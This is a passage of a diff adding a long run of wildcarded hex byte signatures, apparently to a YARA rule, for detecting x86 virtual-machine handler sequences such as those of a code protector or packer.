+		$1345 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+		$1346 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+		$1347 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$1348 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+		$1349 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+		$1350 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+		$1351 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+		$1352 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+		$1353 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1354 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1355 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1356 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$1357 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+		$1358 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1359 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1360 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1361 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+		$1362 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9}
+		$1363 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1364 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1365 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+		$1366 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3}
+		$1367 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3}
+		$1368 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3}
+		$1369 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3}
+		$1370 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3}
+		$1371 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3}
+		$1372 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3}
+		$1373 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3}
+		$1374 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3}
+		$1375 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3}
+		$1376 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3}
+		$1377 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3}
+		$1378 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3}
+		$1379 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+		$1380 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1381 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1382 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+		$1383 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+		$1384 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$1385 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1386 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3}
+		$1387 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3}
+		$1388 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1389 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$1390 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$1391 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3}
+		$1392 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3}
+		$1393 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+		$1394 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1395 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1396 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$1397 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1398 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1399 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$1400 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$1401 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$1402 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1403 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1404 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1405 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$1406 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$1407 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+		$1408 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+		$1409 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+		$1410 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+		$1411 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$1412 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$1413 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+		$1414 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$1415 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+		$1416 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$1417 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$1418 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+		$1419 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$1420 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+		$1421 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+		$1422 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$1423 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$1424 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9}
+		$1425 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+		$1426 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9}
+		$1427 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+		$1428 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+		$1429 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$1430 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$1431 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$1432 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3}
+		$1433 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3}
+		$1434 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3}
+		$1435 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3}
+		$1436 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3}
+		$1437 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3}
+		$1438 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3}
+		$1439 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3}
+		$1440 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3}
+		$1441 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3}
+		$1442 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3}
+		$1443 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3}
+		$1444 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3}
+		$1445 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$1446 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$1447 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$1448 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1449 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1450 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1451 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$1452 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1453 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1454 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$1455 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1456 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$1457 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$1458 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$1459 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$1460 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9}
+		$1461 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9}
+		$1462 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9}
+		$1463 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$1464 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$1465 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$1466 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$1467 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1468 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$1469 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9}
+		$1470 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1471 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1472 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1473 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9}
+		$1474 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1475 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1476 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$1477 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$1478 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1479 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1480 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1481 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1482 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1483 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$1484 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1485 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1486 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9}
+		$1487 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$1488 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$1489 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$1490 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$1491 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9}
+		$1492 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$1493 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$1494 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9}
+		$1495 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$1496 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$1497 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$1498 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3}
+		$1499 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$1500 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$1501 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$1502 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$1503 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1504 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$1505 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9}
+		$1506 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$1507 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$1508 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1509 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$1510 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$1511 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1512 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1513 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1514 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1515 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$1516 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$1517 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$1518 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$1519 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$1520 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$1521 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$1522 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$1523 = {8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$1524 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$1525 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$1526 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$1527 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$1528 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+		$1529 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$1530 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$1531 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$1532 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$1533 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$1534 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$1535 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$1536 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$1537 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+		$1538 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+		$1539 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$1540 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+		$1541 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+		$1542 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$1543 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+		$1544 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9}
+		$1545 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$1546 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9}
